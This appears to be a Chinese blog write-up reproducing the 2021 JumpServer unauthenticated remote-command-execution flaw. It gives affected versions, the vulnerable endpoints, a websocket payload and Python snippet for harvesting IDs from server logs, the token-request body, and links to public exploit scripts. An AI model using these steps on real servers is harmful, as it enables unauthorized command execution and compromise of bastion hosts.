本文主要复现2021年1月出现的JumpSever的RCE漏洞
1.漏洞范围
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
2.漏洞分析
2.1原理简介:
由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求从日志文件获取敏感信息,通过执行相关API操作执行任意命令。
2.2 影响接口
根据官方通告,以下两个接口受得影响:
- /api/v1/authentication/connection-token/
- /api/v1/users/connection-token/
ps:具体漏洞调用链可以参考这位大佬的分析(https://zhuanlan.zhihu.com/p/375135821),本文主要讲具体如何利用的内容分析。
2.3 利用流程
整个漏洞的利用过程如下:
- 读取log日志获取参数(user、asset、system_user)
- 使用apps/authentication/api/auth.py 获取token
- 通过上文提到的2个接口执行命令
3.漏洞复现
3.1 读取log日志来获取参数
这一步是需要使用websocket来发送参数到/ws/ops/tasks/log/ url下,然后发送{“task”:"/opt/jumpserver/logs/gunicorn"}获得
注:这里的/opt/jumpserver/是常用的jumpserver安装路径,实际操作时需要根据情况进行修改。所以如果目标在影响范围内却无法正常读取日志,可能是发送参数的路径错误了,并非漏洞不存在
这里有2种方法可以读取日志
3.1.1 通过浏览器插件获取参数
火狐浏览器下可以安装 Simple WebSocket Client 插件来发送websocket连接。
- URL构造:ws://url/ws/ops/tasks/log/
- Request构造:{“task”:"/opt/jumpserver/logs/gunicorn"}
- Message Log即为返回的日志内容
日志中的
/api/v1/perms/asset-permissions/user/validate/\?action_name=connect&asset_id=()&cache_policy=1&system_user_id=()&user_id= ()
参数即为目标
3.1.2 通过python获取参数
github上有现成的利用工具:https://github.com/Veraxy00/Jumpserver-EXP
这个脚本可以直接获取到执行命令的权限,但在实际测试中发现该脚本存在问题,但我们仍然可以通过修改代码的方式来获取日志
print("===========Start read logs===========")
log=''
async with websockets.connect(tar) as client:
await client.send(json.dumps({"task": "/opt/jumpserver/logs/gunicorn"}))
while True:
try:
ret = json.loads(await client.recv())
log += ret["message"]
print("Reading...")
re_result = set(re.compile('/api/v1/perms/asset-permissions/user/validate/\?action_name=connect&asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ').findall(log))
此处代码中的re_result即为读取的结果,可以通过print的方式输出读取到的参数内容,如果日志过长可能会增加读取的时间。
3.2 获取未授权token
这个步骤主要是通过jumpserver的koko组件来实现。
构造
这一步是需要POST到 /api/v1/authentication/connection-token/?user-only=None
POST数据为:
{“user”:"",
“asset”:"",
“system-user”""
}
这里需要填入第一步获取的参数,即可获取有效token(该token有效期20s,因此必须在20s内建立连接)
3.3执行命令
这里推荐工具https://github.com/Skactor/jumpserver_rce
其中rce.py即是我们需要的脚本,将第一步获取的参数带入脚本。执行即可,具体操作可以查看项目简介。
注:如果想要通过手动构造ws请求的方式来执行命令,可以参考https://blog.csdn.net/qq_32261191/article/details/113078759 来复现。
到这里复现就结束了。
4.写在最后
实际测试中很多漏洞并非是真的不存在,而是不同的系统需要针对一些参数进行调整,面对具体情况需要具体分析,不要轻易放弃漏洞的挖掘机会。